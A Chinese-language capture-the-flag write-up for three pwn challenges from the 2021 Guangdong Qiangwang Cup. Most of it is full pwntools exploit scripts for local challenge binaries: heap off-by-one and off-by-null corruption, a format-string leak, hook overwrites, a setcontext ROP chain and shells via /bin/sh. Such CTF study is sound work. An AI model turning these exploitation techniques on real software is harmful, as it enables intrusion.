2021广东省强网杯

girlfriend

程序中存在许多花指令,但是都是一样的类型

1

妨碍反编译,先去花

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#coding:utf-8
# 去花脚本
from idaapi import *
addr = 0xAC0
end = 0x1100
buf = get_bytes(addr,end-addr)

def patch_at(p,ln):
global buf
buf = buf[:p] + b'\x90'*ln + buf[p+ln:]

pattern = b'\xE8\x00\x00\x00\x00'
p = buf.find(pattern)
while p != -1:
print("here" + str(p))
patch_at(p,5)
patch_at(p+10,1)
p = buf.find(pattern)
print("done!")
patch_bytes(addr,buf)

分析得出在sub_D30函数中存在off-by-one漏洞,程序使用realloc申请堆,并没有free函数,我们知道只要使得realloc(ptr,0)即可free(ptr),所以add函数同样具备 free功能。

sub_EA6函数中存在printf_chk的格式化字符串漏洞,利用%a进行泄漏得到libc。

程序开启了沙箱,禁用execve函数,所以打free_hook,写入setcontext来实现orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
context.arch = 'amd64'
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./girlfriend')
elf = ELF('./girlfriend')
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202058)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def add(size,data=''):
sla(">> ",'1')
sla("size\n",str(size))
sda("data\n",data)

def delete():
sla(">> ",'1')
sla("size\n",'0')

sla("Do you have grilfriend ? \n\n",'89')
sla(">> ",'3')
# debug(0xf1c)
# leak libc_base and text_base
sla("Do you have grilfriend ? \n\n",'78')
sda("reason\n","%a-%a")
ru('0x0.0')
libc_base = int(ru('p-')[:-2],16) - 0x3ec7e3
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']

ru('0x0.0')
text_base = int(ru('p-')[:-2],16) - 0x1149
leak("libc_base",libc_base)
leak("text_base",text_base)

add(0x100,'a')
delete()
add(0x200,'b')
delete()
add(0x300,'c')
delete()

add(0x108,'a'*0x108 + '\x31')
delete()

add(0x208,'b')
delete()

add(0x228,'b'*0x200 + p64(0) + p64(0x31) + p64(free_hook))
delete()

add(0x300,'c')
delete()

frame = SigreturnFrame()
frame.rsp = free_hook + 0x10
frame.rdi = 0
frame.rsi = free_hook + 0x10
frame.rdx = 0x100
frame.rip = libc_base + libc.sym['read']

pay = p64(setcontext+53)
pay += p64(free_hook + 0x10)
pay += str(frame)[0x10:]
pay += "flag\x00"

add(0x300,pay) #free_hook
pop_rdi = libc_base + 0x000000000002155f
pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96
pop_rax = libc_base + 0x00000000000439c8
syscall = libc_base + 0x00000000000d2975
# debug(0xda5)
delete()
# orw
flag_addr = free_hook + 0xf8
pay = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x20) + p64(pop_rax) + p64(0) + p64(syscall)
pay += p64(pop_rdi) + p64(1) + p64(pop_rax) + p64(1) + p64(syscall)
pause()
sl(pay)
p.interactive()

pwn_c4

c4,与2020年网鼎杯boom1类似,大概就是一个小型的oj,可以直接写程序,但是能用用的语句有限,能用的比如if,int,malloc,free,printf这些。

也就是说这题本身就是任意内存读写,只需要泄漏出关键地址即可劫持程序控制流。栈上本身是保存着很多信息的,那么泄漏就从栈上入手,所以只要能使用栈上的变量即可,

  • 1、通过main函数的argv
  • 2、通过直接对我们的可控局部变量取地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./c4')

else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

pay = '''
int main(int argc,char ** argv){
int a;
printf("%llx,%llx\n",&a,argv);
}
'''
# debug(0x4a09)
sl(pay)

p.interactive()

通过测试结果,&a打印出来的是libc地址(本地结果);

拿到libc后就简单了,修改malloc_hook为system,然后malloc(“/bin/sh”);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./c4')

else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

pay = '''
int main(int argc,char ** argv){
int libc,system,malloc_hook;
libc = (int)(&system) - 0x546fd0;
system = libc + 0x4f440;
malloc_hook = libc + 0x3ebc30;
*(int *)malloc_hook = system;
malloc("/bin/sh");
}
'''
# debug(0x4a09)
sl(pay)

p.interactive()

T_S

同样的花指令,这题就显得高端一点;

初看整个程序没什么漏洞点,但是在edit中,利用花指令将关键代码藏了起来。

2

花指令类型跟girlfirend一样,这样同样用脚本整个扫一遍去花。

sub_137A函数里也有一个花指令同样隐藏了关键逻辑

3

只要等于1,就替换成0,可以当成一个off-by-null来用

只有一次show机会,用来泄漏heap_base,这样就可以结合off-by-null绕过新版unlink,实现堆叠,打stdout泄漏libc,再修改free_hook为system即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(">>",str(idx))

def add(size):
choice(1)
sla("length",str(size))

def edit(idx,data):
choice(2)
sla("idx:",str(idx))
sda("name:",data)

def delete(idx):
choice(3)
sla("idx:",str(idx))

def show(idx):
choice(4)
sla("idx:",str(idx))

add(0xf8)
add(0xf8)
delete(1)
delete(0)
add(0xf8) #0
edit(0,'a')
show(0)
ru("Name:\n")
heap_base = u64(rc(6).ljust(8,b'\x00')) - 0x361
leak("heap_base",heap_base)

# unlink
add(0xf8) #1
add(0xf8) #2
add(0x18) #3
add(0x4f0) #4
add(0x18) #5
add(0xf8) #6
edit(3,b'\x01'*0x18)
edit(3,b'\x00'*0x10 + p64(0x310))
edit(0,p64(0) + p64(0x311) + p64(heap_base + 0x2a0) + p64(heap_base + 0x2a0))
delete(4)

delete(6)
delete(1)
add(0xe8) #1
add(0x50) #4
edit(4,'\xa0\xa6')
add(0xf8) #6
add(0xf8) #7 stdout
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
leak("libc_base",libc_base)

delete(0)
delete(2)

add(0x200) #0
edit(0,b'\x00'*0x90 + p64(0) + p64(0x101) + p64(free_hook))
add(0xf8) #2
add(0xf8) #8
edit(8,p64(system))
edit(4,'/bin/sh\x00')
delete(4)

p.interactive()

攻击stdout 有 1/16的概率成功,这里就不写循环了。(懒狗实锤)

0%